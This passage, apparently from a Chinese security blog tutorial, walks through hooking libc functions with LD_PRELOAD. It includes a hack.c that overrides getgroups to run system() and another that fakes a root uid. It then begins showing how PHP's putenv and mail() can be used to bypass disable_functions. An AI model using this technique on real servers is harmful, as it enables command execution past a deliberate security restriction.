Resulut:
close(3) = 0 geteuid32() = 0 getuid32() = 0 getegid32() = 0 getgid32() = 0 (省略....) getgroups32(0, NULL) = 1 getgroups32(1, [0]) = 1这里可以看到有不少函数可以编写,我选择getgroups32,我们可以用man命令查看一下函数的定义:
man getgroups32看到这一部分:
得到了函数的定义,我们只需要编写其内的getgroups即可,因此我编写一个hack.c:
#include <stdlib.h> #include <sys/types.h> #include <unistd.h> int getgroups(int size, gid_t list[]){ unsetenv("LD_PRELOAD"); system("echo 'i hack it'"); return 1; }然后使用gcc编译成一个动态链接库:
gcc -shared -fPIC hack.c -o hack.so使用LD_PRELOAD加载并执行id命令,我们会得到如下的结果:
再来更改一下uid测试,我们先adduser一个新用户hhhm,执行id命令结果如下:
然后根据上面的步骤取得getuid32的函数定义,据此来编写一个hack.c:
#include <stdlib.h> #include <dlfcn.h> #include <unistd.h> #include <sys/types.h> uid_t geteuid( void ) { return 0; } uid_t getuid( void ) { return 0; } uid_t getgid( void ) { return 0; }gcc编译后,执行,结果如下:
可以看到我们的uid成功变为1,且更改为root了,当然了因为我们的hack.so是root权限编译出来的,在一定条件下也许可以用此种方式来提权,网上也有相关文章,不过我没实际尝试过就不做过分肯定的说法。
下面看看在php中如何配合利用达成bypass disable。
php中的利用php中主要是需要配合putenv函数,如果该函数被ban了那么也就没他什么事了,所以bypass前需要观察disable是否ban掉putenv。
php中的利用根据大师傅们的文章我主要提取出下面几种利用方式,其实质都是大同小异,需要找出一个函数然后采用相同的机制覆盖掉其函数进而执行系统命令。
那么我们受限于disable,system等执行系统命令的函数无法使用,而若想要让php调用外部程序来进一步达成执行系统命令从而达成bypass就只能依赖与php解释器本身。
因此有一个大前提就是需要从php解释器中启动子进程。
老套路之mail先选取一台具有sendmail的机器,笔者是使用kali,先在php中写入如下代码
<?php mail("","","","");同样的可以使用strace来追踪函数的执行过程。
strace -f php phpinfo.php 2>&1 | grep execve